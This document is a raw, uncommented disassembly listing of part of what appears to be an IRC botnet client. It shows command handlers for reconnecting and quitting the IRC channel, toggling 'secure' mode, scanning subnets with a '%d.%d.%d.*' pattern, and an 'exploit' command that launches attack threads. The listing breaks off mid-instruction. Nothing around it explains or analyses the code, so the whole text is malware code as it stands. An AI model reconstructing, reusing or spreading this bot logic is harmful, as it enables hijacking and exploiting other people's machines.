[ebp+esi+var_8C] cmp edi, ebx jz short loc_403C44 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C44 push edi call sub_41B779 pop ecx jmp short loc_403C49 ; --------------------------------------------------------------------------- loc_403C44: ; CODE XREF: sub_401ACD+2161j ; sub_401ACD+216Cj mov eax, dword_42907C loc_403C49: ; CODE XREF: sub_401ACD+2175j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7C lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA7 ; --------------------------------------------------------------------------- loc_403C7C: ; CODE XREF: sub_401ACD+219Cj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2670A78h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA7: ; CODE XREF: sub_401ACD+21ADj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD2 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD2: ; CODE XREF: sub_401ACD+21EFj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C4E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F7 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D6 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403D86 loc_403D74: ; CODE XREF: sub_401ACD+22B7j cmp [ebp+var_36AC], ebx jnz short loc_403DA1 push 32h call near ptr 2680000h nop jmp short loc_403D74 ; --------------------------------------------------------------------------- loc_403D86: ; CODE XREF: sub_401ACD+22A5j nop call near ptr 2680ABEh push eax push offset unk_42C4A4 loc_403D92: ; CODE XREF: sub_401ACD+241Aj ; sub_401ACD+4D05j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA1: ; CODE XREF: sub_401ACD+22ADj ; sub_401ACD+23FEj ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx push edi jmp loc_407286 ; --------------------------------------------------------------------------- loc_403DB1: ; CODE XREF: sub_401ACD+1B12j ; sub_401ACD+1B27j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DD0 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DD0 push edi call sub_41B779 pop ecx jmp short loc_403DD5 ; --------------------------------------------------------------------------- loc_403DD0: ; CODE XREF: sub_401ACD+22EDj ; sub_401ACD+22F8j mov eax, dword_429080 loc_403DD5: ; CODE XREF: sub_401ACD+2301j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEC lea eax, [ebp+var_C4] loc_403DEC: ; CODE XREF: sub_401ACD+2317j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0E mov esi, offset dword_43D808 loc_403E0E: ; CODE XREF: sub_401ACD+233Aj push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C468 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F7 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset word_410A4E push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403EDB loc_403EC5: ; CODE XREF: sub_401ACD+240Cj cmp [ebp+var_180C], ebx jnz loc_403DA1 push 32h nop call near ptr 2680000h jmp short loc_403EC5 ; --------------------------------------------------------------------------- loc_403EDB: ; CODE XREF: sub_401ACD+23F6j call near ptr 2680ABEh nop push eax push offset unk_42C42C jmp loc_403D92 ; --------------------------------------------------------------------------- loc_403EEC: ; CODE XREF: sub_401ACD+1AE8j ; sub_401ACD+1AFDj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFF push esi call sub_41B779 jmp short loc_403F06 ; --------------------------------------------------------------------------- loc_403EFF: ; CODE XREF: sub_401ACD+2428j push 0Bh call sub_40B35E loc_403F06: ; CODE XREF: sub_401ACD+2430j cmp eax, ebx pop ecx jz loc_409855 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA57 jmp loc_4043BA ; --------------------------------------------------------------------------- loc_403F26: ; CODE XREF: sub_401ACD+1ABEj ; sub_401ACD+1AD3j mov eax, dword_4CB570 cmp eax, ebx jz short loc_403F43 call eax test eax, eax jz short loc_403F3C push offset unk_42C408 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F3C: ; CODE XREF: sub_401ACD+2466j push offset unk_42C3DC jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F43: ; CODE XREF: sub_401ACD+2460j push offset unk_42C3B0 loc_403F48: ; CODE XREF: sub_401ACD+246Dj ; sub_401ACD+2474j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDC ; --------------------------------------------------------------------------- loc_403F5E: ; CODE XREF: sub_401ACD+1A94j ; sub_401ACD+1AA9j call sub_40AB32 test eax, eax jz short loc_403F6E push offset unk_42C38C jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push offset unk_42C360 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F75: ; CODE XREF: sub_401ACD+1A6Aj ; sub_401ACD+1A7Fj cmp [ebp+var_8], ebx jnz short loc_403F94 push ebx push [ebp+var_4] push offset dword_42C348 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_403F94: ; CODE XREF: sub_401ACD+24ABj push ebx push [ebp+var_4] call sub_4181D7 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push offset dword_42C32C jmp loc_404286 ; --------------------------------------------------------------------------- loc_403FB6: ; CODE XREF: sub_401ACD+18FAj ; sub_401ACD+190Fj push 0Ah call sub_40B33F test eax, eax pop ecx jle short loc_403FCC push offset unk_42C300 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_401ACD+24F3j push [ebp+var_88] push [ebp+arg_4] call sub_419C65 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEB push offset unk_42C2D8 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FEB: ; CODE XREF: sub_401ACD+2512j push offset unk_42C2B8 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FF5: ; CODE XREF: sub_401ACD+18D0j ; sub_401ACD+18E5j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CF jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400E: ; CODE XREF: sub_401ACD+18A6j ; sub_401ACD+18BBj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C29 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402B: ; CODE XREF: sub_401ACD+187Cj ; sub_401ACD+1891j or edi, 0FFFFFFFFh nop call near ptr 2690AA5h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404054 push esi call sub_41B779 pop ecx mov edi, eax loc_404054: ; CODE XREF: sub_401ACD+257Cj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406D cmp edi, 0FFFFFFFFh jnz loc_409855 loc_40406D: ; CODE XREF: sub_401ACD+2595j push ebx call sub_41A88C pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42C2A0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 lea eax, [ebp+var_2C4] push eax call sub_4151AD loc_4040AB: ; CODE XREF: sub_401ACD+529Dj add esp, 24h jmp loc_409855 ; --------------------------------------------------------------------------- loc_4040B3: ; CODE XREF: sub_401ACD+1852j ; sub_401ACD+1867j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A30 add esp, 0Ch push offset dword_42C280 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_4040D1: ; CODE XREF: sub_401ACD+1828j ; sub_401ACD+183Dj push 27h call sub_40B33F test eax, eax pop ecx jle short loc_404105 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42C260 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 loc_4040FD: ; CODE XREF: sub_401ACD+7238j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404105: ; CODE XREF: sub_401ACD+260Ej push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404166 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404166 mov [ebp+var_AA8], 1 loc_404166: ; CODE XREF: sub_401ACD+267Cj ; sub_401ACD+268Dj lea eax, [ebp+var_2C4] push offset dword_42C23C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EC push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4041D4 loc_4041BE: ; CODE XREF: sub_401ACD+2705j cmp [ebp+var_A9C], ebx jnz loc_409631 push 32h call near ptr 2680000h nop jmp short loc_4041BE ; --------------------------------------------------------------------------- loc_4041D4: ; CODE XREF: sub_401ACD+26EFj call near ptr 2680ABEh nop push eax lea eax, [ebp+var_2C4] push offset unk_42C200 push eax call sub_41B886 add esp, 0Ch jmp loc_409631 ; --------------------------------------------------------------------------- loc_4041F4: ; CODE XREF: sub_401ACD+17FEj ; sub_401ACD+1813j cmp [ebp+var_8], ebx jnz short loc_404213 push ebx push [ebp+var_4] push offset dword_42C1E4 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_404213: ; CODE XREF: sub_401ACD+272Aj push [ebp+arg_4] call dword_4CB6EC call dword_4CB5AC call sub_41835A push ebx nop call near ptr 77E75CB5h loc_40422E: ; CODE XREF: sub_401ACD+17D4j ; sub_401ACD+17E9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA43 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push offset dword_42C1C8 jmp short loc_404286 ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_401ACD+17AAj ; sub_401ACD+17BFj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF7 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push offset dword_42C1AC loc_404286: ; CODE XREF: sub_401ACD+24E4j ; sub_401ACD+278Aj call sub_4151AD add esp, 18h jmp loc_409855 ; --------------------------------------------------------------------------- loc_404293: ; CODE XREF: sub_401ACD+1780j ; sub_401ACD+1795j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524D jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AC: ; CODE XREF: sub_401ACD+1756j ; sub_401ACD+176Bj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EB mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EB push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EB push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EB: ; CODE XREF: sub_401ACD+27E8j ; sub_401ACD+27F3j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42C194 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset word_41528E push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40438E loc_404378: ; CODE XREF: sub_401ACD+28BFj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2680000h jmp short loc_404378 ; --------------------------------------------------------------------------- loc_40438E: ; CODE XREF: sub_401ACD+28A9j call near ptr 2680ABEh nop push eax push offset unk_42C15C jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439F: ; CODE XREF: sub_401ACD+172Cj ; sub_401ACD+1741j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415135 push offset dword_42C144 call sub_4151AD loc_4043BA: ; CODE XREF: sub_401ACD+2454j add esp, 10h jmp loc_409855 ; --------------------------------------------------------------------------- loc_4043C2: ; CODE XREF: sub_401ACD+1702j ; sub_401ACD+1717j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441C push offset dword_42C140 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404422 ; --------------------------------------------------------------------------- loc_40441C: ; CODE XREF: sub_401ACD+2933j mov [ebp+var_B40], ebx loc_404422: ; CODE XREF: sub_401ACD+294Dj lea eax, [ebp+var_2C4] push offset dword_42C120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset word_40B162 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404490 loc_40447A: ; CODE XREF: sub_401ACD+29C1j cmp [ebp+var_B34], ebx jnz loc_406D00 push 32h nop call near ptr 2680000h jmp short loc_40447A ; --------------------------------------------------------------------------- loc_404490: ; CODE XREF: sub_401ACD+29ABj nop call near ptr 2680ABEh push eax push offset unk_42C0E4 jmp loc_409227 ; --------------------------------------------------------------------------- loc_4044A1: ; CODE XREF: sub_401ACD+1686j ; sub_401ACD+169Bj push offset aQsfpo ; "qsfpo" push offset dword_42C0CC loc_4044AB: ; CODE XREF: sub_401ACD+2A1Dj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h jmp loc_406D00 ; --------------------------------------------------------------------------- loc_4044D8: ; CODE XREF: sub_401ACD+165Cj ; sub_401ACD+1671j push dword_4CB394 call sub_41A88C pop ecx push eax push offset unk_42C0A0 jmp short loc_4044AB ; --------------------------------------------------------------------------- loc_4044EC: ; CODE XREF: sub_401ACD+1632j ; sub_401ACD+1647j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451E cmp [ebp+var_C], ebx jz short loc_40452D push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452D push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch jmp short loc_40452D ; --------------------------------------------------------------------------- loc_40451E: ; CODE XREF: sub_401ACD+2A28j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2D pop ecx pop ecx loc_40452D: ; CODE XREF: sub_401ACD+2A2Dj ; sub_401ACD+2A3Cj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404534: ; CODE XREF: sub_401ACD+1608j ; sub_401ACD+161Dj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2D push offset dword_42C050 call sub_4151AD add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404556: ; CODE XREF: sub_401ACD+15DEj ; sub_401ACD+15F3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2D push offset dword_42C01C call sub_4151AD add esp, 0Ch jmp loc_4097BA ; --------------------------------------------------------------------------- loc_404575: ; CODE XREF: sub_401ACD+15B4j ; sub_401ACD+15C9j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DB jmp loc_404934 ; --------------------------------------------------------------------------- loc_40458B: ; CODE XREF: sub_401ACD+158Aj ; sub_401ACD+159Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B786 jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1560j ; sub_401ACD+1575j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B71A jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045B7: ; CODE XREF: sub_401ACD+1536j ; sub_401ACD+154Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64B jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045CD: ; CODE XREF: sub_401ACD+1491j ; sub_401ACD+14A6j push [ebp+esi+var_8C] push 27h push offset dword_42C00C push offset dword_42BFFC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_4045E5: ; CODE XREF: sub_401ACD+1467j ; sub_401ACD+147Cj push [ebp+esi+var_8C] push 24h push offset dword_42BFF0 push offset dword_42BFE0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_4045FD: ; CODE XREF: sub_401ACD+1083j ; sub_401ACD+1098j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461C push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461C push edi call sub_41B779 pop ecx jmp short loc_404621 ; --------------------------------------------------------------------------- loc_40461C: ; CODE XREF: sub_401ACD+2B39j ; sub_401ACD+2B44j mov eax, dword_429074 loc_404621: ; CODE XREF: sub_401ACD+2B4Dj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404646 push esi loc_404633: ; CODE XREF: sub_401ACD+2B88j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465D ; --------------------------------------------------------------------------- loc_404646: ; CODE XREF: sub_401ACD+2B63j cmp [ebp+var_8FF], bl jz short loc_404657 lea eax, [ebp+var_C4] push eax jmp short loc_404633 ; --------------------------------------------------------------------------- loc_404657: ; CODE XREF: sub_401ACD+2B7Fj mov [ebp+var_5A0], bl loc_40465D: ; CODE XREF: sub_401ACD+2B77j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BFB8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_4111CE push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40470E loc_4046F8: ; CODE XREF: sub_401ACD+2C3Fj cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2680000h jmp short loc_4046F8 ; --------------------------------------------------------------------------- loc_40470E: ; CODE XREF: sub_401ACD+2C29j call near ptr 2680ABEh nop push eax push offset dword_42BF7C jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471F: ; CODE XREF: sub_401ACD+1019j ; sub_401ACD+102Ej mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473F push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473F push esi call sub_41B779 pop ecx jmp short loc_404745 ; --------------------------------------------------------------------------- loc_40473F: ; CODE XREF: sub_401ACD+2C5Bj ; sub_401ACD+2C67j mov ax, word_429084 loc_404745: ; CODE XREF: sub_401ACD+2C70j push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF50 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A73 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F7 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40E504 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404814 loc_4047FE: ; CODE XREF: sub_401ACD+2D45j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2680000h jmp short loc_4047FE ; --------------------------------------------------------------------------- loc_404814: ; CODE XREF: sub_401ACD+2D2Fj call near ptr 2680ABEh nop push eax push offset unk_42BF10 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404825: ; CODE XREF: sub_401ACD+FC5j ; sub_401ACD+FDAj ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484D push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404857 loc_40484D: ; CODE XREF: sub_401ACD+2D67j mov [ebp+var_A10], 1 loc_404857: ; CODE XREF: sub_401ACD+2D7Ej push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489E mov eax, offset aUnsecuring ; "Unsecuring" loc_40489E: ; CODE XREF: sub_401ACD+2DCAj push eax push offset dword_42BEDC lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E1A push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404912 loc_4048FC: ; CODE XREF: sub_401ACD+2E43j cmp [ebp+var_A04], ebx jnz loc_4083BD push 32h nop call near ptr 2680000h jmp short loc_4048FC ; --------------------------------------------------------------------------- loc_404912: ; CODE XREF: sub_401ACD+2E2Dj nop call near ptr 2680ABEh push eax push offset dword_42BEA0 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_404923: ; CODE XREF: sub_401ACD+F9Bj ; sub_401ACD+FB0j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AF loc_404934: ; CODE XREF: sub_401ACD+2AB9j ; sub_401ACD+2ACFj ... add esp, 0Ch jmp loc_409855 ; --------------------------------------------------------------------------- loc_40493C: ; CODE XREF: sub_401ACD+F71j ; sub_401ACD+F86j push offset unk_42BDF0 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_404946: ; CODE XREF: sub_401ACD+F47j ; sub_401ACD+F5Cj push offset aAbosel7Vs ; "abosel7 vs" push offset dword_42BDE0 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_404955: ; CODE XREF: sub_401ACD+F1Dj ; sub_401ACD+F32j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AF push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A7 cmp eax, 3 jge short loc_4049A7 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499F lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42D0B4 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828C ; --------------------------------------------------------------------------- loc_40499F: ; CODE XREF: sub_401ACD+2EB1j push eax push offset unk_42BDB4 jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_401ACD+2E9Cj ; sub_401ACD+2EA1j push eax push offset unk_42BD88 jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_4049AF: ; CODE XREF: sub_401ACD+2E91j mov edi, [ebp+arg_18] xor esi, esi loc_4049B4: ; CODE XREF: sub_401ACD+2F03j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D7 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B4 jmp loc_40828C ; --------------------------------------------------------------------------- loc_4049D7: ; CODE XREF: sub_401ACD+2EF7j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42D0B4 loc_4049EC: ; CODE XREF: sub_401ACD+2153j ; sub_401ACD+2ED8j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408289 ; --------------------------------------------------------------------------- loc_4049FD: ; CODE XREF: sub_401ACD+EF3j ; sub_401ACD+F08j push [ebp+var_8C] push offset dword_42D028 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A6 call sub_40B2C0 push ebx nop call near ptr 77E75CB5h loc_404A23: ; CODE XREF: sub_401ACD+1A12j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB1 cmp dword_4CEE08, ebx jz short loc_404A4B push offset dword_4CE7E8 loc_404A41: ; CODE XREF: sub_401ACD+2FE2j push offset unk_42BD4C jmp loc_404AE1 ; --------------------------------------------------------------------------- loc_404A4B: ; CODE XREF: sub_401ACD+2F6Dj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A41 ; --------------------------------------------------------------------------- loc_404AB1: ; CODE XREF: sub_401ACD+2F65j push esi call dword_4CB694 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC5 push offset unk_42BD0C jmp short loc_404AE1 ; --------------------------------------------------------------------------- loc_404AC5: ; CODE XREF: sub_401ACD+2FEFj push offset dword_4CE7E8 call sub_41BEB0 pop ecx mov dword_4CEE08, 1 pop ecx push esi push offset unk_42BCE0 loc_404AE1: ; CODE XREF: sub_401ACD+2F79j ; sub_401ACD+2FF6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FE ; --------------------------------------------------------------------------- loc_404AF5: ; CODE XREF: sub_401ACD+19FAj push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF8 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 